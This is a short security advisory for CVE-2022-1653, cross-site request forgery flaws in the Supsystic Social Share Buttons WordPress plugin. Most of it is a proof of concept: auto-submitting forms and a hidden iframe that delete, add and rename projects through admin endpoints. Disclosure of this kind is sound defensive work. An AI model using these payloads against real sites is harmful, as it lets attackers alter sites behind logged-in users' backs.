Social Share Buttons by Supsystic < 2.2.4 – Multiple CSRF | CVE 2022-1653

Description

The plugin does not perform CSRF checks in it's ajax endpoints and admin pages, allowing an attacker to trick any logged in user to manipulate or change the plugin settings, as well as create, delete and rename projects and networks.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="route[module]" value="projects">
    <input type="text" name="route[action]" value="removeNetwork">
    <input type="text" name="network_id" value="1">
    <input type="text" name="project_id" value="4">
    <input type="text" name="action" value="social-sharing">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="route[module]" value="projects">
    <input type="text" name="route[action]" value="add">
    <input type="text" name="title" value="test">
    <input type="text" name="design" value="flat">
    <input type="text" name="networks[0]" value="1">
    <input type="text" name="action" value="social-sharing">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin.php?page=supsystic-social-sharing&module=projects&action=delete&id=2" method="POST">
</form>
<script>
    document.getElementById("test").submit();
</script>


<iframe src="https://example.com/wp-admin/admin.php?page=supsystic-social-sharing&module=projects&action=delete&id=3" width="0" height="0" frameborder="0"></iframe>


<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="route[module]" value="projects">
    <input type="text" name="route[action]" value="rename">
    <input type="text" name="title" value="Hacked">
    <input type="text" name="id" value="4">
    <input type="text" name="action" value="social-sharing">
</form>
<script>
    document.getElementById("test").submit();
</script>